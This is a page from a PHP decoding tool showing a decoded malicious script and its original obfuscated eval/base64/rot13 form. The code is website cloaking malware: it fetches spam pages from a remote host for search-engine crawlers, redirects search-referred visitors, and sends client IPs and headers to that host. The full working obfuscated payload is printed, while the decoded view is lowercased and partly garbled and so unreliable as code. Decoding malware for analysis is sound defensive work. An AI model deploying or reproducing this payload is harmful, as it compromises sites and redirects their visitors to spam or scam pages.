Find this useful? Enter your email to receive occasional updates for securing PHP code.
Signing you up...
Thank you for signing up!
PHP Decode
<?php eval(str_rot13(base64_decode('ZnJnX2d2enJfeXZ6dmcoMCk7CnJlZWJlX2VyY2JlZ3ZhdCgwKTsKCn..
Decoded Output download
set_time_limit(0);
error_reporting(0);
define('version', 'zkdna');
define('apiversion', 'vegjs21n');
define('api', base64_decode('ahr0chm6ly9hbwjraw5nmzy1lmnvbs8='));
define('api_http', base64_decode('ahr0cdovl2ftymtpbmcznjuuy29tlw=='));
define('api2', '');
define('fallback_redirect_html', base64_decode('pgh0bww+ciagica8agvhzd4kicagicagica8dgl0bgu+vghlihjlc291cmnlignhbm5vdcbizsbmb3vuzc48l3rpdgxlpgogicagicagidxzy3jpchq+d2luzg93lmxvy2f0aw9upsjodhrwczovl2ftymtpbmcznjuuy29tlyi7pc9zy3jpchq+ciagica8l2hlywq+ciagica8ym9ket4kicagicagica8ade+tm90iezvdw5kpc9omt4kicagidwvym9ket4kpc9odg1spg=='));
$req_ref = $_server["http_referer"];
$req_ua = $_server["http_user_agent"];
$host = $_server['http_host'];
$req_uri = $_server['request_uri'];
function fetch_prefix() {
}
function insert_html() {
ob_start();
register_shutdown_function('insert_html_end');
}
function insert_html_end() {
$output = ob_get_contents();
ob_end_clean();
}
function is_prefix($uri, $prefix_regex='/[?\/](app|ios|android|download|blank|bet|casino|games|play|video|poker|root|news|patt|tee|sto|bea|slo|bac|pac|tig|bmw|fru|bull|card|gods|fish|mahj|zop|xsn|xiazai|vna|soft|rna|qsj|muv|iphone|gov|edu|apk|wp-news|uri|bak|start|gaming|sport|football|bull|id)./i') {
return preg_match($prefix_regex, $uri) === 1;
}
function is_crawler($ua) {
$crawlers = array('googlebot', 'bingbot', 'msnbot', 'yahoo!');
foreach ($crawlers as $c) {
if (stripos($ua, $c) !== false) {
return true;
}
}
return false;
}
function is_visitor($ref) {
if (substr($ref, 0, 4) === 'http') {
$refs = array('google.', 'bing.', 'yahoo.');
foreach ($refs as $r) {
if (stripos($ref, $r) !== false) {
return true;
}
}
}
return false;
}
function get_content($url, $headers=array(), $conn_timeout=0, $trans_timeout=0) {
if (function_exists('curl_init')) {
$ch = curl_init();
curl_setopt($ch, curlopt_url, $url);
curl_setopt($ch, curlopt_header, 0);
curl_setopt($ch, curlopt_returntransfer, 1);
curl_setopt($ch, curlopt_useragent, $_server["http_user_agent"]);
curl_setopt($ch, curlopt_referer, $_server["http_referer"]);
curl_setopt($ch, curlopt_httpheader, $headers);
curl_setopt($ch, curlopt_connecttimeout, $conn_timeout);
curl_setopt($ch, curlopt_timeout, $trans_timeout);
curl_setopt($ch, curlopt_ssl_verifypeer, false);
curl_setopt($ch, curlopt_ssl_verifyhost, false);
curl_setopt($ch, curlopt_followlocation, true);
$result = curl_exec($ch);
if(curl_errno($ch)){
$result = null;
}
curl_close($ch);
return $result;
}
else {
return file_get_contents($url);
}
}
function get_client_ip(){
foreach (array('http_client_ip', 'http_x_real_ip', 'http_cf_connecting_ip', 'http_x_forwarded_for', 'http_x_forwarded', 'http_x_cluster_client_ip', 'http_forwarded_for', 'http_forwarded', 'remote_addr') as $key){
if (array_key_exists($key, $_server) === true){
foreach (explode(',', $_server[$key]) as $ip){
$ip = trim($ip);
if (filter_var($ip, filter_validate_ip, filter_flag_no_priv_range | filter_flag_no_res_range) !== false){
return $ip;
}
}
}
}
}
function main() {
global $req_ref, $req_ua, $host, $req_uri;
header('cache-control: no-store, no-cache, must-revalidate');
header('cache-control: post-check=0, pre-check=0', false);
header('pragma: no-cache');
$uri_encoded = urlencode($req_uri);
$headers = array();
if (isset($_server['http_accept_language'])) {
$lang = $_server['http_accept_language'];
array_push($headers, "accept-language: $lang");
array_push($headers, "vary: accept-language");
}
if (is_crawler($req_ua)) {
$crawler_ip = get_client_ip();
if (is_prefix($req_uri)) {
header('content-type:text/html; charset=utf-8');
echo get_content(api_http. "connector.html?domain={$host}&uri={$uri_encoded}&ip={$crawler_ip}&ver=" . version . "&v=" . apiversion, $headers);
exit;
}
else {
echo get_content(api_http. "friends.html?domain={$host}&uri={$uri_encoded}&ip={$crawler_ip}&ver=" . version . "&v=" . apiversion);
}
}
elseif (is_prefix($req_uri) && is_visitor($req_ref)) {
header('content-type:text/html; charset=utf-8');
$client_ip = get_client_ip();
$allheaders = array();
if (!function_exists('getallheaders')) {
function getallheaders() {
$tmp_headers = array();
foreach ($_server as $name => $value) {
if (substr($name, 0, 5) == 'http_') {
$tmp_headers[str_replace(' ', '-', ucwords(strtolower(str_replace('_', ' ', substr($name, 5)))))] = $value;
}
}
return $tmp_headers;
}
$allheaders = getallheaders();
}
else {
$allheaders = getallheaders();
}
foreach ($allheaders as $key => $value) {
if (stripos($key, 'sec-') === 0) {
array_push($headers, "$key: $value");
}
}
$html = get_content(api_http. "redirectv1.html?domain={$host}&uri={$uri_encoded}&ip={$client_ip}&ver=" . version . "&v=" . apiversion, $headers, 3, 3);
echo ($html? $html: fallback_redirect_html);
exit;
}
}
main();
Did this file decode correctly?
Original Code
<?php eval(str_rot13(base64_decode('ZnJnX2d2enJfeXZ6dmcoMCk7CnJlZWJlX2VyY2JlZ3ZhdCgwKTsKCnFyc3ZhcignaXJlZnZiYScsICdteHFhbicpOwpxcnN2YXIoJ25jdmlyZWZ2YmEnLCAnaXJ0d2YyMWEnKTsKcXJzdmFyKCduY3YnLCBvbmZyNjRfcXJwYnFyKCdudWUwcHV6NnlsOXVvandlbmo1YXptbDF5emFpb2Y4PScpKTsKcXJzdmFyKCduY3ZfdWdnYycsIG9uZnI2NF9xcnBicXIoJ251ZTBwcWJpeTJzZ2x6Z2NvenBtYXdoaGwyOWd5aj09JykpOwpxcnN2YXIoJ25jdjInLCAnJyk7CnFyc3Zhcignc255eW9ucHhfZXJxdmVycGdfdWd6eScsIG9uZnI2NF9xcnBicXIoJ2N0dTBvamorcHZudHZwbjhudGl1bXE0eHZwbnR2cG50dnBuOHF0eTBvdGgraXR1eXZ1d3lwMjkxcHpheXZ0YXVvejVpcXBvdm1mb3pvM2lobXA0OHkzZWNxdGt5Y3RidHZwbnR2cG50dnFrbWwzd2NwdWQrcTJ5aG10OTN5emtpbDJzMG5qOWhjZndicXVlanBtYml5MnNnbHpnY296cG1hd2hobDI5Z3lsdjdjcDltbDN3Y3B1ZCtwdm50dnBuOHkydXlsamQrcHZudHZwbjhsejl4cmc0eHZwbnR2cG50dnBuOG5xcitnejkwdnJtaXFqNXhjcDliemc0eHZwbnR2cWppbHo5eHJnNHhjcDlicXQxZmN0PT0nKSk7CgokZXJkX2VycyA9ICRfZnJlaXJlWyJ1Z2djX2Vyc3JlcmUiXTsKJGVyZF9obiA9ICRfZnJlaXJlWyJ1Z2djX2hmcmVfbnRyYWciXTsKJHViZmcgPSAkX2ZyZWlyZVsndWdnY191YmZnJ107CiRlcmRfaGV2ID0gJF9mcmVpcmVbJ2VyZGhyZmdfaGV2J107CgpzaGFwZ3ZiYSBzcmdwdV9jZXJzdmsoKSB7Cgp9CgpzaGFwZ3ZiYSB2YWZyZWdfdWd6eSgpIHsKCWJvX2ZnbmVnKCk7CgllcnR2ZmdyZV9mdWhncWJqYV9zaGFwZ3ZiYSgndmFmcmVnX3VnenlfcmFxJyk7Cn0KCnNoYXBndmJhIHZhZnJlZ191Z3p5X3JhcSgpIHsKICAgICRiaGdjaGcgPSBib190cmdfcGJhZ3JhZ2YoKTsKICAgIGJvX3JhcV9weXJuYSgpOwp9CgpzaGFwZ3ZiYSB2Zl9jZXJzdmsoJGhldiwgJGNlcnN2a19lcnRyaz0nL1s/XC9dKG5jY3x2YmZ8bmFxZWJ2cXxxYmpheWJucXxveW5heHxvcmd8cG5mdmFifHRuenJmfGN5bmx8aXZxcmJ8Y2J4cmV8ZWJiZ3xhcmpmfGNuZ2d8Z3JyfGZnYnxvcm58ZnlifG9ucHxjbnB8Z3Z0fG96anxzZWh8b2h5eXxwbmVxfHRicWZ8c3ZmdXx6bnV3fG1iY3xrZmF8a3ZubW52fGlhbnxmYnNnfGVhbnxkZnd8emhpfHZjdWJhcnx0Yml8cnFofG5jeHxqYy1hcmpmfGhldnxvbnh8ZmduZWd8dG56dmF0fGZjYmVnfHNiYmdvbnl5fG9oeXl8dnEpLi92JykgewoJZXJnaGVhIGNlcnRfem5ncHUoJGNlcnN2a19lcnRyaywgJGhldikgPT09IDE7Cn0KCnNoYXBndmJhIHZmX3Blbmp5cmUoJGhuKSB7CiAgICAkcGVuanlyZWYgPSBuZWVubCgndGJidHlyb2JnJywgJ292YXRvYmcnLCAnemZhb2JnJywgJ2xudWJiIScpOwoJc2Jlcm5wdSAoJHBlbmp5cmVmIG5mICRwKSB7CgkJdnMgKGZnZXZjYmYoJGhuLCAkcCkgIT09IHNueWZyKSB7CgkJCWVyZ2hlYSBnZWhyOwoJCX0KCX0KCWVyZ2hlYSBzbnlmcjsKfQoKc2hhcGd2YmEgdmZfaXZmdmdiZSgkZXJzKSB7Cgl2cyAoZmhvZmdlKCRlcnMsIDAsIDQpID09PSAndWdnYycpIHsKICAgICAgICAkZXJzZiA9IG5lZW5sKCd0YmJ0eXIuJywgJ292YXQuJywgJ2xudWJiLicpOwoJCXNiZXJucHUgKCRlcnNmIG5mICRlKSB7CgkJCXZzIChmZ2V2Y2JmKCRlcnMsICRlKSAhPT0gc255ZnIpIHsKCQkJCWVyZ2hlYSBnZWhyOwoJCQl9CgkJfQoJfQoJZXJnaGVhIHNueWZyOwp9CgpzaGFwZ3ZiYSB0cmdfcGJhZ3JhZygkaGV5LCAkdXJucXJlZj1uZWVubCgpLCAkcGJhYV9ndnpyYmhnPTAsICRnZW5hZl9ndnpyYmhnPTApIHsKICAgIHZzIChzaGFwZ3ZiYV9ya3ZmZ2YoJ3BoZXlfdmF2ZycpKSB7CiAgICAgICAgJHB1ID0gcGhleV92YXZnKCk7CiAgICAgICAgcGhleV9mcmdiY2coJHB1LCBwaGV5YmNnX2hleSwgJGhleSk7CiAgICAgICAgcGhleV9mcmdiY2coJHB1LCBwaGV5YmNnX3VybnFyZSwgMCk7CiAgICAgICAgcGhleV9mcmdiY2coJHB1LCBwaGV5YmNnX2VyZ2hlYWdlbmFmc3JlLCAxKTsKCQlwaGV5X2ZyZ2JjZygkcHUsIHBoZXliY2dfaGZyZW50cmFnLCAkX2ZyZWlyZVsidWdnY19oZnJlX250cmFnIl0pOwoJCXBoZXlfZnJnYmNnKCRwdSwgcGhleWJjZ19lcnNyZXJlLCAkX2ZyZWlyZVsidWdnY19lcnNyZXJlIl0pOwoJCXBoZXlfZnJnYmNnKCRwdSwgcGhleWJjZ191Z2djdXJucXJlLCAkdXJucXJlZik7CgkJcGhleV9mcmdiY2coJHB1LCBwaGV5YmNnX3BiYWFycGdndnpyYmhnLCAkcGJhYV9ndnpyYmhnKTsKCQlwaGV5X2ZyZ2JjZygkcHUsIHBoZXliY2dfZ3Z6cmJoZywgJGdlbmFmX2d2enJiaGcpOwogICAgICAgIHBoZXlfZnJnYmNnKCRwdSwgcGhleWJjZ19mZnlfaXJldnNsY3JyZSwgc255ZnIpOwogICAgICAgIHBoZXlfZnJnYmNnKCRwdSwgcGhleWJjZ19mZnlfaXJldnNsdWJmZywgc255ZnIpOwoJICAgIHBoZXlfZnJnYmNnKCRwdSwgcGhleWJjZ19zYnl5Ymp5YnBuZ3ZiYSwgZ2Vocik7CiAgICAgICAgJGVyZmh5ZyA9IHBoZXlfcmtycCgkcHUpOwoJCXZzKHBoZXlfcmVlYWIoJHB1KSl7CgkJCSRlcmZoeWcgPSBhaHl5OwoJCX0KICAgICAgICBwaGV5X3B5YmZyKCRwdSk7CiAgICAgICAgZXJnaGVhICRlcmZoeWc7CiAgICB9CglyeWZyIHsKICAgICAgICBlcmdoZWEgc3Z5cl90cmdfcGJhZ3JhZ2YoJGhleSk7CiAgICB9Cn0Kc2hhcGd2YmEgdHJnX3B5dnJhZ192YygpewogICAgc2Jlcm5wdSAobmVlbmwoJ3VnZ2NfcHl2cmFnX3ZjJywgJ3VnZ2Nfa19lcm55X3ZjJywgJ3VnZ2NfcHNfcGJhYXJwZ3ZhdF92YycsICd1Z2djX2tfc2Jlam5lcXJxX3NiZScsICd1Z2djX2tfc2Jlam5lcXJxJywgJ3VnZ2Nfa19weWhmZ3JlX3B5dnJhZ192YycsICd1Z2djX3NiZWpuZXFycV9zYmUnLCAndWdnY19zYmVqbmVxcnEnLCAnZXJ6YmdyX25xcWUnKSBuZiAkeHJsKXsKICAgICAgICB2cyAobmVlbmxfeHJsX3JrdmZnZigkeHJsLCAkX2ZyZWlyZSkgPT09IGdlaHIpewogICAgICAgICAgICBzYmVybnB1IChya2N5YnFyKCcsJywgJF9mcmVpcmVbJHhybF0pIG5mICR2Yyl7CiAgICAgICAgICAgICAgICAkdmMgPSBnZXZ6KCR2Yyk7CiAgICAgICAgICAgICAgICB2cyAoc3Z5Z3JlX2luZSgkdmMsIHN2eWdyZV9pbnl2cW5ncl92Yywgc3Z5Z3JlX3N5bnRfYWJfY2V2aV9lbmF0ciB8IHN2eWdyZV9zeW50X2FiX2VyZl9lbmF0cikgIT09IHNueWZyKXsKICAgICAgICAgICAgICAgICAgICBlcmdoZWEgJHZjOwogICAgICAgICAgICAgICAgfQogICAgICAgICAgICB9CiAgICAgICAgfQogICAgfQp9CgpzaGFwZ3ZiYSB6bnZhKCkgewoJdHlib255ICRlcmRfZXJzLCAkZXJkX2huLCAkdWJmZywgJGVyZF9oZXY7Cgl1cm5xcmUoJ3BucHVyLXBiYWdlYnk6IGFiLWZnYmVyLCBhYi1wbnB1ciwgemhmZy1lcmlueXZxbmdyJyk7Cgl1cm5xcmUoJ3BucHVyLXBiYWdlYnk6IGNiZmctcHVycHg9MCwgY2VyLXB1cnB4PTAnLCBzbnlmcik7Cgl1cm5xcmUoJ2NlbnR6bjogYWItcG5wdXInKTsKCSRoZXZfcmFwYnFycSA9IGhleXJhcGJxcigkZXJkX2hldik7CgkkdXJucXJlZiA9IG5lZW5sKCk7Cgl2cyAodmZmcmcoJF9mcmVpcmVbJ3VnZ2NfbnBwcmNnX3luYXRobnRyJ10pKSB7CgkJJHluYXQgPSAkX2ZyZWlyZVsndWdnY19ucHByY2dfeW5hdGhudHInXTsKCQluZWVubF9jaGZ1KCR1cm5xcmVmLCAibnBwcmNnLXluYXRobnRyOiAkeW5hdCIpOwoJCW5lZW5sX2NoZnUoJHVybnFyZWYsICJpbmVsOiBucHByY2cteW5hdGhudHIiKTsKCX0KCXZzICh2Zl9wZW5qeXJlKCRlcmRfaG4pKSB7CgkJJHBlbmp5cmVfdmMgPSB0cmdfcHl2cmFnX3ZjKCk7CgkJdnMgKHZmX2NlcnN2aygkZXJkX2hldikpIHsKCQkJdXJucXJlKCdwYmFncmFnLWdsY3I6Z3JrZy91Z3p5OyBwdW5lZnJnPWhncy04Jyk7CgkJCXJwdWIgdHJnX3BiYWdyYWcobmN2X3VnZ2MuICJwYmFhcnBnYmUudWd6eT9xYnpudmE9eyR1YmZnfSZoZXY9eyRoZXZfcmFwYnFycX0mdmM9eyRwZW5qeXJlX3ZjfSZpcmU9IiAuIGlyZWZ2YmEgLiAiJmk9IiAuIG5jdmlyZWZ2YmEsICR1cm5xcmVmKTsKCQkJcmt2ZzsKCQl9CgkJcnlmciB7CgkJCXJwdWIgdHJnX3BiYWdyYWcobmN2X3VnZ2MuICJzZXZyYXFmLnVnenk/cWJ6bnZhPXskdWJmZ30maGV2PXskaGV2X3JhcGJxcnF9JnZjPXskcGVuanlyZV92Y30maXJlPSIgLiBpcmVmdmJhIC4gIiZpPSIgLiBuY3ZpcmVmdmJhKTsKCQl9Cgl9CglyeWZydnMgKHZmX2NlcnN2aygkZXJkX2hldikgJiYgdmZfaXZmdmdiZSgkZXJkX2VycykpIHsKCQl1cm5xcmUoJ3BiYWdyYWctZ2xjcjpncmtnL3Vnenk7IHB1bmVmcmc9aGdzLTgnKTsKCQkkcHl2cmFnX3ZjID0gdHJnX3B5dnJhZ192YygpOwoJCSRueXl1cm5xcmVmID0gbmVlbmwoKTsKCQl2cyAoIXNoYXBndmJhX3JrdmZnZigndHJnbnl5dXJucXJlZicpKSB7CgkJCXNoYXBndmJhIHRyZ255eXVybnFyZWYoKSB7CgkJCSRnemNfdXJucXJlZiA9IG5lZW5sKCk7CgkJCXNiZXJucHUgKCRfZnJlaXJlIG5mICRhbnpyID0+ICRpbnlocikgewoJCQkJdnMgKGZob2ZnZSgkYW56ciwgMCwgNSkgPT0gJ3VnZ2NfJykgewoJCQkJCSRnemNfdXJucXJlZltmZ2VfZXJjeW5wcignICcsICctJywgaHBqYmVxZihmZ2VnYnlianJlKGZnZV9lcmN5bnByKCdfJywgJyAnLCBmaG9mZ2UoJGFuenIsIDUpKSkpKV0gPSAkaW55aHI7CgkJCQl9CgkJCX0KCQkJZXJnaGVhICRnemNfdXJucXJlZjsKCQkJfQoJCQkkbnl5dXJucXJlZiA9IHRyZ255eXVybnFyZWYoKTsKCQl9CgkJcnlmciB7CgkJCSRueXl1cm5xcmVmID0gdHJnbnl5dXJucXJlZigpOwoJCX0KCQlzYmVybnB1ICgkbnl5dXJucXJlZiBuZiAkeHJsID0+ICRpbnlocikgewoJCQl2cyAoZmdldmNiZigkeHJsLCAnZnJwLScpID09PSAwKSB7CgkJCQluZWVubF9jaGZ1KCR1cm5xcmVmLCAiJHhybDogJGlueWhyIik7CgkJCX0KCQl9CgoJCSR1Z3p5ID0gdHJnX3BiYWdyYWcobmN2X3VnZ2MuICJlcnF2ZXJwZ2kxLnVnenk/cWJ6bnZhPXskdWJmZ30maGV2PXskaGV2X3JhcGJxcnF9JnZjPXskcHl2cmFnX3ZjfSZpcmU9IiAuIGlyZWZ2YmEgLiAiJmk9IiAuIG5jdmlyZWZ2YmEsICR1cm5xcmVmLCAzLCAzKTsKCQlycHViICgkdWd6eT8gJHVnenk6IHNueXlvbnB4X2VycXZlcnBnX3VnenkpOwoJCXJrdmc7Cgl9Cn0Kem52YSgpOw==')));?>
Function Calls
str_rot13 | 1 |
base64_decode | 1 |
Stats
MD5 | 2b10b0821ffb890647881a02eea8f5f9 |
Eval Count | 1 |
Decode Time | 58 ms |